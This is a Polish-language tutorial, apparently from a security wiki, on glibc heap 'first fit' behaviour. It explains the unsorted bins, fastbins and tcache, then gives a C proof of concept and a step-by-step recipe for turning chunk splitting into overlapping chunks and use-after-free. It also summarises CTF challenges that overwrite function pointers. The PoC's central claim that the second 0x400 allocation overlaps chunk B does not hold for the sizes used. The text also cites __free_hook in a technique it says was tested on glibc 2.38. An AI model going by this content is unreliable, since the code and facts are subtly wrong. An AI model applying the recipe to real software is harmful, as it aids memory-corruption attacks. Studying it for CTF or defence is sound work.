First Fit

Reading time: 7 minutes

First Fit

Kiedy zwalniasz pamięć w programie używając glibc, różne "kosze" są używane do zarządzania kawałkami pamięci. Oto uproszczone wyjaśnienie dwóch powszechnych scenariuszy: kosze nieposortowane i fastbins.

Unsorted Bins

Kiedy zwalniasz kawałek pamięci, który nie jest szybkim kawałkiem, trafia on do kosza nieposortowanego. Ten kosz działa jak lista, gdzie nowe zwolnione kawałki są dodawane na początku (do "głowy"). Kiedy żądasz nowego kawałka pamięci, alokator przeszukuje kosz nieposortowany od tyłu (do "ogona"), aby znaleźć kawałek wystarczająco duży. Jeśli kawałek z kosza nieposortowanego jest większy niż potrzebujesz, zostaje podzielony, przy czym przednia część jest zwracana, a pozostała część pozostaje w koszu.

Przykład:

• Alokujesz 300 bajtów (a), następnie 250 bajtów (b), potem zwalniasz a i ponownie żądasz 250 bajtów (c).
• Kiedy zwalniasz a, trafia on do kosza nieposortowanego.
• Jeśli następnie ponownie zażądzasz 250 bajtów, alokator znajduje a na ogonie i dzieli go, zwracając część, która pasuje do twojego żądania, a resztę pozostawiając w koszu.
• c będzie wskazywać na poprzednie a i będzie wypełnione zawartością a.

char *a = malloc(300);
char *b = malloc(250);
free(a);
char *c = malloc(250);

Fastbins

Fastbins są używane do małych kawałków pamięci. W przeciwieństwie do nieposortowanych binów, fastbins dodają nowe kawałki na początek, tworząc zachowanie last-in-first-out (LIFO). Jeśli poprosisz o mały kawałek pamięci, alokator pobierze z głowy fastbina.

Example:

char *a = malloc(20);
char *b = malloc(20);
char *c = malloc(20);
char *d = malloc(20);
free(a);
free(b);
free(c);
free(d);
a = malloc(20);   // d
b = malloc(20);   // c
c = malloc(20);   // b
d = malloc(20);   // a

🔥 Nowoczesne rozważania dotyczące glibc (tcache ≥ 2.26)

Od glibc 2.26 każdy wątek przechowuje własny tcache, który jest sprawdzany przed nieposortowanym koszem. Dlatego scenariusz first-fit zostanie osiągnięty tylko jeśli:

1. Żądany rozmiar jest większy niż tcache_max (domyślnie 0x420 na 64-bit), lub
2. Odpowiedni kosz tcache jest już pełny lub opróżniony ręcznie (poprzez przydzielenie 7 elementów i utrzymanie ich w użyciu).

W rzeczywistych exploitach zazwyczaj dodasz pomocniczą rutynę taką jak:

// Drain the tcache for a given size
for(int i = 0; i < 7; i++) pool[i] = malloc(0x100);
for(int i = 0; i < 7; i++) free(pool[i]);

Gdy tcache jest wyczerpany, kolejne zwolnienia trafiają do nieposortowanego kosza, a klasyczne zachowanie first-fit (przeszukiwanie ogona, wstawianie na głowę) może być ponownie wywołane.

🚩 Tworzenie UAF z nakładającymi się kawałkami za pomocą first-fit

Fragment poniżej (testowany na glibc 2.38) pokazuje, jak splitter w nieposortowanym koszu może być wykorzystany do stworzenia 2 nakładających się wskaźników – potężnego prymitywu, który przekształca pojedyncze zwolnienie w zapis-po-zwolnieniu.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
setbuf(stdout, NULL);

/* 1. prepare 2 adjacent chunks and free the first one */
char *A = malloc(0x420);   // big enough to bypass tcache
char *B = malloc(0x420);
strcpy(A, "AAAA\n");
free(A);                   // A → unsorted

/* 2. request a *smaller* size to force a split of A */
char *C = malloc(0x400);   // returns lower half of former A

/* 3. The remainder of A is still in the unsorted bin.
Another 0x400-byte malloc will now return the *same*
region pointed to by B – creating a UAF/overlap. */
char *C2 = malloc(0x400);

printf("B  = %p\nC2 = %p (overlaps B)\n", B, C2);

// Arbitrary write in B is immediately visible via C2
memset(B, 'X', 0x10);
fwrite(C2, 1, 0x10, stdout);  // prints Xs
}

Przepis na eksploatację (często spotykany w ostatnich CTF):

1. Opróżnij tcache dla docelowego rozmiaru.
2. Zwolnij kawałek, aby trafił do nieposortowanego kosza.
3. Przydziel nieco mniejszy rozmiar – alokator dzieli nieposortowany kawałek.
4. Przydziel ponownie – pozostała część nakłada się na istniejący używany kawałek → UAF.
5. Nadpisz wrażliwe pola (wskaźniki do funkcji, vtable pliku itp.)

Praktyczne zastosowanie można znaleźć w wyzwaniu Setjmp z 2024 HITCON Quals, gdzie ten dokładny prymityw jest używany do przejścia z UAF do pełnej kontroli nad __free_hook.

🛡️ Środki zaradcze i wzmocnienia

• Bezpieczne linkowanie (glibc ≥ 2.32) chroni tylko pojedynczo połączone listy tcache/fastbin. Nieposortowane/małe/duże kosze nadal przechowują surowe wskaźniki, więc nakładanie się oparte na pierwszym dopasowaniu pozostaje wykonalne, jeśli możesz uzyskać wyciek z pamięci.
• Szyfrowanie wskaźników do sterty i MTE (ARM64) nie wpływa jeszcze na x86-64 glibc, ale flagi wzmocnienia dystrybucji, takie jak GLIBC_TUNABLES=glibc.malloc.check=3, przerwą działanie przy niespójnych metadanych i mogą złamać naiwne PoC.
• Wypełnianie tcache przy zwolnieniu (proponowane w 2024 dla glibc 2.41) dodatkowo zmniejszyłoby użycie nieposortowanego; monitoruj przyszłe wydania podczas opracowywania ogólnych exploitów.

Inne odniesienia i przykłady

• https://heap-exploitation.dhavalkapil.com/attacks/first_fit
• https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/
• ARM64. Użycie po zwolnieniu: Wygeneruj obiekt użytkownika, zwolnij go, wygeneruj obiekt, który uzyskuje zwolniony kawałek i pozwól na zapis do niego, nadpisując pozycję user->password z poprzedniego. Ponownie użyj użytkownika, aby obejść sprawdzanie hasła.
• https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example
• Program pozwala na tworzenie notatek. Notatka będzie miała informacje o notatce w malloc(8) (z wskaźnikiem do funkcji, która mogłaby być wywołana) oraz wskaźnik do innego malloc() z treścią notatki.
• Atak polegałby na stworzeniu 2 notatek (note0 i note1) z większą zawartością malloc niż rozmiar informacji o notatce, a następnie ich zwolnieniu, aby trafiły do szybkiego kosza (lub tcache).
• Następnie stwórz inną notatkę (note2) o rozmiarze zawartości 8. Zawartość będzie w note1, ponieważ kawałek będzie ponownie użyty, gdzie moglibyśmy zmodyfikować wskaźnik funkcji, aby wskazywał na funkcję wygranej, a następnie użyć UAF na note1, aby wywołać nowy wskaźnik funkcji.
• https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html
• Możliwe jest przydzielenie pamięci, zapisanie pożądanej wartości, zwolnienie jej, ponowne przydzielenie, a ponieważ poprzednie dane wciąż tam są, będą traktowane zgodnie z nową oczekiwaną strukturą w kawałku, co umożliwia ustawienie wartości lub uzyskanie flagi.
• https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html
• W tym przypadku trzeba zapisać 4 wewnątrz konkretnego kawałka, który jest pierwszym przydzielonym (nawet po wymuszeniu zwolnienia wszystkich). W każdym nowym przydzielonym kawałku jego numer w indeksie tablicy jest przechowywany. Następnie przydziel 4 kawałki (+ początkowo przydzielony), ostatni będzie miał 4 wewnątrz, zwolnij je i wymuś ponowne przydzielenie pierwszego, które użyje ostatniego zwolnionego kawałka, który jest tym z 4 wewnątrz.
• 2024 HITCON Quals Setjmp write-up (Quarkslab) – praktyczny atak na nakładanie się pierwszego dopasowania / nieposortowanego podziału: https://ctftime.org/writeup/39355
• Angstrom CTF 2024 heapify write-up – nadużywanie podziału nieposortowanego kosza w celu wycieku libc i uzyskania nakładania się: https://hackmd.io/@aneii11/H1S2snV40